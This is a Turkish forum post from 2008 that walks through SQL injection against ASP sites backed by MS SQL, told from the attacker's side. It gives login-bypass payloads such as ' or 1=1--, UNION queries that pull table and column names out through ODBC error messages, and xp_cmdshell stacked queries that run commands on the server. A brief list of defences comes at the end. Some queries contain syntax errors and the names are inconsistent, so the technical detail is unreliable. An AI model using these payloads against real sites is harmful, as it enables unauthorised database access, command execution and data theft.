Not Defteri | Kamusa uzanan el, namusa uzanmıştır~ Cemil Meriç ~
Would you like to react to this message? Create an account in a few clicks or log in to continue.
Not Defteri | Kamusa uzanan el, namusa uzanmıştır~ Cemil Meriç ~

Dilimin sınırları, dünyamın sınırlarıdır~ Ludwig Wittgenstein ~
 
AnasayfaŞairlerimizPoetik MetinlerBulabileceklerinKitapLatest imagesPortalliGaleriAramaKayıt OlGiriş yapgerçekler adına...

 

 veritabanı saldırısı biraz uzun ama okuyun

Aşağa gitmek 
YazarMesaj
hacker_lazy_wertuy
İKİDELİ Moderatör
İKİDELİ Moderatör
hacker_lazy_wertuy


Mesaj Sayısı : 50
Yaş : 35
Kayıt tarihi : 27/12/07

veritabanı saldırısı biraz uzun ama okuyun Empty
MesajKonu: veritabanı saldırısı biraz uzun ama okuyun   veritabanı saldırısı biraz uzun ama okuyun Icon_minitimeSalı Ocak 15, 2008 11:55 am

Saldırıları

Web üzerinde kullanılan pek çok uygulama back-end olarak hizmet veren bir
veritabanı kullanır. Bu sayede kullanıcıya interaktif bir oturum sağlanmış
olur. Bu tip uygulamaların sıkça kullanıldığı alanlardan biri de formlardır.
Kullanıcı ilgili forma kullanıcı ismini, şifresini, kredi kartı bilgilerini vs.
yazar, daha sonra da "gönder" ya da "submit" tuşuna basarak
kendi bilgilerini gönderir. Web sitesinde kullanılan ASP, PHP, JSP gibi
uygulamalar, kullanıcının gönderdiği bilgileri alır ve kullanılan veritabanının
türüne göre, uygun bir şekilde kodlayarak veritabanına gönderir. Backend olarak
kullanılan veritabanları da gelen istek karşısında, kullandığı tablolara bakar
ve istenilen kriterleri sağlıyorsa onay verir. Veritabanlarından en çok kullanılanlar;
Microsoft SQL ve Unix tabanlı sistemlerde kullanılan MySQL"dir. Özellikle
MS SQL üzerinden yapılan saldırılarda kullanıcı bilgilerine ya da diğer
bilgilere ulaşmak mümkündür. Bunun için biraz SQL mantığını bilmek yeterlidir.
Şimdi olayın detayına inelim:

Hacker"ın ilk yapması gereken web sayfasında form kullanan bir site
bulmaktır. Formlar, pek çok sitede kullanılan ve kullanıcıyla etkileşimi
sağlayan elemanlardır. Bir html sayfasındaki tipik bir form şu şekilde
kodlanır:



ve arasındaki her parametre hacker için kullanışlı olabilir. Amacına ulaşmak
için form elemanlarını kullanan siteleri araştıran hacker, özellikle http://www.example.com/index.asp?userid=15 şeklindeki
ASP sitelerine bakar. Bu tarz bir site bulduğu zaman yapması gereken şey,
öncelikle form kısmına ya da URL adresine şu tarz bir şey yazmaktır:

http://www.example.com/index.asp?userid="
or 1=1--

Bu ifade login kısmına da, şifre kısmına da, URL adresinin olduğu kısma da
yazılabilir. Peki ama bu ifade ne anlama geliyor? Normalde kullanıcı ismi ya da
şifre girmesi gereken yere, rastgele bir karakterin ardından " or 1=1--
yazılması, SQL dilinde kullanılan noktalama işaretleri ve lojik ifadeler
yardımıyla login ekranını doğrudan geçmek ve normalde görünmeyen ekstra
bilgilere ulaşmak içindir. Konuyu biraz daha açalım ve SQL veritabanında bir
sorgulamanın nasıl yapıldığına bakalım. SQL"de tipik bir sorgulama şu
formatta yapılır:

SELECT * FROM uyeler WHERE userID="tahribatuser"

Yukarıdaki deyim, "uyeler" tablosunda, kullanıcı ismi
"ilyas" olan kişinin bütün ( * ) kayıtlarını görmek için kullanılır.
Bu deyimde ilyas kelimesinin 2 yanındaki tek tırnağa dikkat edin. UserID kısmı
zaten URL kısmında görüldüğünden, hacker bu bilgiyi kullanarak, girdiği bazı
değerleri SQL"e enjekte edebilir. SQL enjeksiyonu olarak da bilinen bu
olayda, hacker " or 1=1-- yazarak, giriş şartının kullanıcı isminin
hiçbirşey olması ya da 1=1 eşitliğinin sağlanması gerektiğini SQL"e
enjekte etmeye çalışmıştır. Bu yazdığı ifade SQL"e şöyle gider:

SELECT * FROM uyeler WHERE userID=" or 1=1--"

Deyimin sonundaki -- ise SQL"e sorgunun sonundaki ek tırnaktan ( "
) kurtulmak için geri kalan kısmı dikkate almamasını söyler. SQL sorgulamasında
aşağıdakilerden herhangi biri kullanılabilir.

" or 1=1--
" or 1=1--
or 1=1--
" or "a"="a
" or "a"="a
") or ("a"="a

Peki bunu yapınca ne olacak? Buradaki amaç, farklı noktalama işaretleri
kullanarak, SQL"in ODBC hatalarını vermesini sağlamak. Hacker"ın
sızmak istediği şirketin web sitesinde, şöyle bir ASP sayfasının olduğunu
varsayalım: http://www.example.com/index.asp?id=5

Şimdi aşama aşama hacker"ın nasıl sonuca gittiğine bakalım. Öncelikle
yukarıda anlatılan noktalama işaretlerini kullanarak SQL"i ODBC hatası
vermeye zorlayacaktır. Bu amaçla, iki veya daha fazla sorguyu
tek sonuç setinde veren UNION operatörünü kullanır. UNION operatörünün genel kullanımı
şöyledir:

SELECT * FROM TABLO1 UNION SELECT * FROM TABLO2

Hacker ise UNION operatörünü şu şekilde kullanır:

http://www.example.com/index.asp?id=5
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

"INFORMATION_SCHEMA.TABLES", sunucudaki tüm tablolar hakkında
bilgi tutan bir sistem tablosudur. "TOP 1 TABLE_NAME" ise en üstteki
tablodur. Hacker sistemde hangi tabloların olduğunu ve bunların isimlerinin ne
olduğunu bilmediğinden, MS SQL"de standart olan genel isimleri
kullanmıştır. Bu sorgulamada, veritabanındaki ilk tablo ekrana gelecektir.
Ayrıca UNION operatörü sayesinde, bizim verdiğimiz string (nvarchar), 5
sayısına (integer) dönüştürülmeye çalışılacak, ama şu şekilde bir hata
verecektir:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value "tablo1" to a column of data type int.

/index.asp, line 5

Hacker için bu mesaj çok değerlidir. Çünkü veritabanındaki ilk tablonun
ismini öğrenmiştir: Tablo 1. Sıra diğer tablonun ismini öğrenmeye gelmiştir:

http://www.example.com/index.asp?id=5
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME
NOT IN ("tablo1")--

Ya da herhangi bir detayı içeren tabloyu LIKE operatörü ile aratabilir: http://www.example.com/index.asp?id=5
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME
LIKE "%25login%25"--

alacağı cevap şu şekilde olacaktır:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"

[Microsoft][ODBC SQL Driver][SQL Server]Syntax error converting the nvarchar
value "admin_login" to a column of data type int.

/index.asp, line 5

Hacker bir aşama daha katetmiştir, çünkü kullandığı LIKE operatörü ile
içinde "login" olan tabloyu aratmış ve bulmuştur:
"admin_login". Şimdiki hedefi "admin_log on" tablosundaki
sütunların isimlerini öğrenmektir:

http://www.example.com/index.asp?id=5
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME
LIKE = "admin_login"--

SQL"in vereceği cevap şöyledir:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value "login_id" to a column of data type int.

/index.asp, line 5

"admin_login" tablosunda ilk sütunun ismi, "login_id"
olarak bulundu. Ancak bir sonraki sütunun ismini de bilmesi gerekir. Bunun için
NOT IN operatörünü kullanacaktır:

http://www.example.com/index.asp?id=5
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN
("login_id")--

Bu sorguya SQL şöyle cevap verir:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value "login_name" to a column of data type int.

/index.asp, line 5

"admin_name" bilgisini de ele geçirdi. Hacker, bundan sonra benzer
komutları uygulayarak yönetici hesabını ele geçirebilir ya da kendisi için yeni
bir yönetici hesabı açabilir.

Anlatılan bu yöntem dışında, hedef makinede saklanan SQL prosedürleriyle
uzaktan komut çalıştırmak da mümkündür. MS SQL varsayılan olarak kurulduğunda,
Windows"daki administrator erişimine karşılık gelen SYSTEM hesabıyla
çalışır. Bu hesapla sunucuya bağlanıldığında "master..xp_cmdshell"
gibi saklı prosedürler çalıştırılabilir.

Mesela;

"; exec master..xp_cmdshell "dir c:"--

Komutu kullanılarak, C: sürücüsündeki dosyaların görüntülenmesi
sağlanabilir. En baştaki ; işareti SQL"e sorgulamayı bitirmesini ve geri
kalan kısımda verdiği komutu çalıştırmasını söyler. Bu komutun SQL"deki
tam karşılığı şöyledir:

SELECT * FROM tablo1 where catid="giyim" ; EXEC
master..xp_cmdshell "dir c: "--

Uzaktan komut çalıştırmak suretiyle kullanıcı ismi ve şifresi yanlış bile
olsa, önemli belgeleri, herhangi bir dosyaya yazdırıp sonra da kendi
makinesinde açtığı bir klasöre kopyalanmasını sağlayabilir.

Önlemler

Gereksiz Saklı Prosedürleri ve Kullanıcı Yetkilerini Kaldırın:
Kullanmadığınız master..xp_cmdshell, xp_starmail, xp_sendmail gibi saklı
prosedürleri kaldırın. Ayrıca bu prosedürler sayesinde komut kullanımına izin
veren, varsayılan SYSTEM hesabı da kullanılmamalıdır.

Noktalama İşaretlerinin Kullanımını Filtreleyin: Kullanıcılardan,
URL"den, cookie değerlerinden gelen noktalama işaretlerinin ( ",
"", #, ; ), girdi olarak alınmadan önce filtrelenmesi gerekir. Bunun
için küçük ASP kodları yazılabilir.

Girdi Ayarlarını Düzenleyin: Web sitenizde kullandığınız formun bir alanına
girdi olarak nümerik değerlerin girilmesi gerekiyor olabilir. Bu durumda buraya
girilen her değerin nümerik olup olmadığı kontrol edilmelidir. Benzer şekilde
en fazla 10 karakter girilmesi gereken bir alana, 11 karakterin girilememesi
gerekir. Böylece olası bir SQL enjeksiyonu saldırısından ya da tampon bellek
taşmasından korunmuş olursunuz.
Sayfa başına dön Aşağa gitmek
 
veritabanı saldırısı biraz uzun ama okuyun
Sayfa başına dön 
1 sayfadaki 1 sayfası
 Similar topics
-
» BiRaZ dA mEtAl OlSuN!!!
» hacker cracker lamer ex...................okuyun

Bu forumun müsaadesi var:Bu forumdaki mesajlara cevap veremezsiniz
Not Defteri | Kamusa uzanan el, namusa uzanmıştır~ Cemil Meriç ~ :: Bilim & Teknoloji-
Buraya geçin: